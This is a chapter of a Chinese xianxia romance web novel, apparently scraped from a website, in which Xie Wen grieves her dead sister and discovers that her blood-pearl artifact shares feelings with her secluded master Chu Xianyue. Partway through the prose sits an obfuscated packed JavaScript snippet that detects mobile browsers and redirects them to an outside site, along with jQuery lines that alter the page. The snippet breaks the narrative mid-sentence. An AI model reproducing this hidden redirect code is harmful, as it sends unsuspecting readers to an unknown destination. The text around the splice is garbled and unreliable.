大战之后,剑宗花了十天十夜清理广场上的血和尸体,尸体多得实在是没法一一妥善处理,没有亲朋好友认领处置的只得统一运到无定山。后来无定山山头的安魂曲唱了一个月之久,都无法彻底将平息山头上的怨气。
剑宗举办了长达一个月的祭奠礼,白布挂满的整个山头,灵曲整天整夜幽幽回荡,掌管祭祀的长老整夜施法,带着已故灵魂浩浩荡荡地引入地府。
是夜,半月峰杂草丛生的山头,谢温跪坐在一面墓碑前,上方只有简单的谢以春三个字。
而谢温,睁着眼睛,怔怔地不知道看着什么。
直到有人来了,唤了一声师姐。云宴递给的谢温一罐酒,他自顾自也坐下来倒了点给谢以春,然后自己仰头大灌一口。
自从楚衔越重伤闭关之后,很多事务都压到了云宴头上。云宴这天忙的脚不离地,竟然还有空来找谢温。
谢温道:“师尊他怎么样了?”
按照楚衔越这种性格,这种关头,若是不是不得已怎么可能放下剑宗里这么多事务去闭关?说是闭关,其实是早就重伤得不能动了。
云宴:“师尊他的心性你也是知道,若非不得已……”
虽然心里已经有了答案,但亲口听到云宴这样说,还是心下不由得绞痛起来。谢温和云宴都没想到,他们无所不能上天入地的师尊,会变成如今这样。
谢温又问:“那师尊他,大概什么时候出关?”
云宴摇摇头,楚衔越重伤他其实比谁都更难过,只是平日里因着楚衔越不在,他得撑起剑宗的大小事务。绝对不能表现出一丝丝悲哀消极的一面。
而今,云宴在谢温面前谈到楚衔越,带着酒精的作用,竟忍不住掉眼泪。平日里由伪装堆砌起来的威严和严肃在这一刻瓦解。
谢温以为经历过这些事情,云宴心性成长许多。今日一见,其实云宴还是那个云宴。他和她一样。
都还没有接受。
如今半月峰只剩下一个空荡荡的小屋子。再也没有人在这里等着谢温,对她温柔地笑着,唤着阿温。
没有阿姐,谢温只觉得在哪都一样。
她好像没有哪里可以去了。
飞樱阁,楚衔越也不在。
晚上谢温躺在半月峰小屋里,睁着眼睛,愣愣看着窗外的朗朗星辰,她忽然挺想楚衔越,心像是烧起来了,连带着这份思念一同烧得起来,野火连了天。沉痛的记忆压着她的心脏,让她喘不过气。
谢温睁着眼睛睡不着,借着月光起身,捞过剑,在院子里一遍遍练剑。一遍遍重复这些,楚衔越教过她的招式。
剑气带起阵阵罡风,远处的荒草树木被震得摇摇欲坠,不一会儿,有个人坐在了那颗梅花树上,晃悠着腿,眼睛一眨不眨地看着谢温。
“阿温。你不累吗?”
看着谢温练了一会儿,沈梨之这样说。
这些时日,谢温每每练剑的时候,沈梨之都会过来。就这样在一旁坐着,静静地陪着谢温。
谢温闻言收起剑,抬头看向沈梨之,她睁着亮晶晶的眼睛,带着稚气的笑意。谢温道:“阿梨你怎么又来了?”
沈梨之说:“我来陪你呀。你一个人练剑不孤单寂寞吗?”
谢温怔愣一瞬,孤单寂寞吗?说没有是不可能的。
她还是道:“这么晚了,你还是早点回去休息吧。”
沈梨之:“不要,我不会打扰阿温的。就让我在这里陪着你好不好?”
谢温心头一片柔软,自从大战之后,身边人重要的人都离她远去。只有沈梨之一直守在她身旁。
谢温欣然一笑,道:“那好。你要是困了就早点离开。”
沈梨之甜甜地道:“能陪着阿姐你,我就不困。”
谢温差点没拿稳剑。旋即,她回头对沈梨之笑了笑,温柔笑意散在晚风里。
此时此刻,她好像变成了阿姐的模样。
而从前那个死去的自己,正顿在梅花树上晃悠着双腿,甜甜地喊着她。
“阿姐,阿姐,阿姐。”
“阿姐,阿姐。”
“阿姐。”
似乎又如往日的种种,她们以相同的姿态再次站在这里。一切都没有变。
后半夜,在谢温的催促下,沈梨之还是回去休息了。
“阿梨你回去休息吧。不用陪着我。”
“可是,阿温我想陪着你。”
“真的,我很好,你早些回去睡觉,明天还要干活呢。”
“好吧,那我走了。”
谢温点点头,清冷的月光下,目送沈梨之离开。
直到晨光熹微之时,谢温仿佛全身泄了力,拖着疲惫身子,空洞的大脑,回到屋子,脱力地倒在床榻上。
谢温猛地倒下去的时候,血珠飞过来托了她一下,做了缓冲才没让谢温磕着碰着。
血珠在谢温身边悠悠晃动,泛着红光,和从前一样,不正常地悸动。此从那次大战后,血珠好似回到了从前那般的异常。
不对,这份异常比往日任何时候持续得都要更久更热烈。谢温没空去思索红红儿到底怎么回事儿。
谢温这些时日总是很累,干什么事情都提不起劲来。
有时候血珠会自己化作人形,陪在谢温身边。
它察觉到谢温的不正常,她一直很低落。
在血珠的世界里,安慰好像就是抱抱和贴贴。
所以,而今,它娴熟地化作六七岁小孩模样,蹑手蹑脚地爬上床,缩在谢温怀中,两只小手抱着谢温的腰肢。
“阿温,睡吧睡吧。”它轻轻拍着谢温。
这么些天谢温已然习惯了每次睡下它都轻手轻脚地钻进她怀中,像一只小猫,安慰着你,跟你撒着娇。
谢温将红红儿当作玩偶似地抱着睡觉。
它也老老实实地待在谢温怀里。缩着小小的身体,头发蓬松顺滑,谢温每每总忍不住摸两下。它像她的一只乖猫。
只有这时,谢温才短暂坠入温柔的梦里。
梦里,谢温又梦见很多从前的事情。那些事情此刻在她脑海中那么清晰真实而生动。
她想起来了,她的前世。
记忆中,过去的所有点点滴滴,都是她真实经受过的。
这个世界死去的谢温,就是她自己。
两个时空逆转,现代世界死去的自己的灵魂回到了修真界的死去的自己的肉身之中。所有一切她都回想起来。
梦中谢温的哽咽,泪水洇湿了枕头。恍惚中她在想,也许是这一世的自己还有什么放不下的,所有又让她另一世的魂灵回来了。她放不下什么呢?肯定是阿姐了。阿姐肯定也放不下自己,所以两世,谢以春都是她阿姐。
可惜,阿姐也不在了。无论在哪个世界。
此后,便唯有梦中可相见。
*
待谢温迷蒙地睁开红肿的眼,窗外暮色已沉,晚风阵阵,谢温正要起身却惊觉怀中小人身上烫得吓人,小脸也红扑扑的,跟喝几斤米酒似的。
谢温焦急地扶起红红儿,“红红儿,你怎么了?发烧了?”
难道神器也会生病发烧么。
红红儿抬起头,又钻进谢温怀里蹭了蹭,最后才道:“楚衔越和我共感,可能他又春心荡漾了吧。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208861|176033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>谢温:“……”
谢温反应了好几秒。
不会吧!不会是她想得那样吧?春心荡漾?
谢温怎么都无法将楚衔越和这四个字联系起来。也只有红红儿敢说得这样直白大胆。
“那你的异常又是怎么回事?”
血珠懒得再瞒,就算是天道惩罚它,它也要说。它这般都是楚衔越害得。要不是他天天心旌摇曳,被阿温迷得神魂颠倒。它怎么会如何异常?都怪他!
红红儿直接坦白:“我们血珠神器,自天道降下起就成为了主人的一部份。主人有何异常,我也会异常啊。比如心动的时候我就红光熠熠,颤动不止。我也没办法。阿温你可千万不要因为这个不要我了。”
谢温:“真的?”
她忽然回想起从前每个血珠异动的瞬间。好似楚衔越都很慌乱。
谢温看着红红儿,眼里闪过一丝狡黠。
“是不是因为我抱了你?”
楚衔越也会有同样的感知?
抱一下就受不了了?
谢温忽然生出一个坏坏的想法。她再次双手抱起红红儿。
迅速在它婴儿肥的面颊上迅速亲了一下。
谢温观察着红红儿的反应。它甚至以肉眼可见的速度红温起来。谢温摸了摸下红红儿身体,“这么烫?你不会烧熟吧?”
红红儿别过头,“我也不知道,我觉得有点难受。”
谢温摸了摸鼻子,内心狡黠地想,“要他不见我!我就要挑逗他。”
接下来这些时日,谢温除了练剑就是抱着红红儿睡觉。它还是一如既往,从一而终,只要一抱一亲就无比反常。
后来,半月峰太寂静。没有了阿姐,也没有楚衔越。
谢温时常一个人有话无处诉说,晚上抱着红红儿的时候,便经常喃喃梦语,把红红儿当作自己的倾诉对象,想说什么就说什么。
说,她和阿姐的以前,说,楚衔越怎么这坏?不肯见她一面就擅自闭关!问,楚衔越对她到底是什么想法?
真的除了任务之外,就没别的感情了吗?
谢温总是想到他,想到他的冷清面容和他的冷言冷语,想到从前在飞樱阁她一个人在他面前吵吵闹闹,他无奈着摇头。
谢温梦到从前很多事情,一觉睡醒,总觉得那些事情离她好远,仿佛是上辈子发生过的事情。
她说自己有点想楚衔越。
红红儿将这些话都听进去了,可是它一句话也没说。安安静静地当好一个倾听者。
它没告诉谢温的是,楚衔越能感它所感,有时候也能听它所听。大战之后,它感知到的楚衔越的心境都是苦的。
*
后山通天台上,那是距离冥域之地最近的地方。
此时通天太上高悬着一个人。
他在这里,经受筋骨重塑之苦。
只是每每入夜。
就会溺水一般落入一个温暖的怀抱。如同坠入温柔乡。
他心脏抑制不住地鼓动起来,连带着筋骨重塑之苦,也消解不少。
温柔乡中,女孩在他耳畔咿咿呀呀地说着天马行空的话。
她说她想她阿姐。她说他很坏,为什么不肯见她一面。她说她有点想他了。声音中带着沉沉悲凉。
他的心也随着起起落落。
他也恍惚中,通过血珠,知晓了她的前世今生,知道了所有关于她的一切。原来,在她的另一生里,并没有他楚衔越这个人。
他的心不知为何,想到这里酸酸涩涩。
同时,他也意识到,她的两世,都与他有关联,他的这才稍稍好受一些。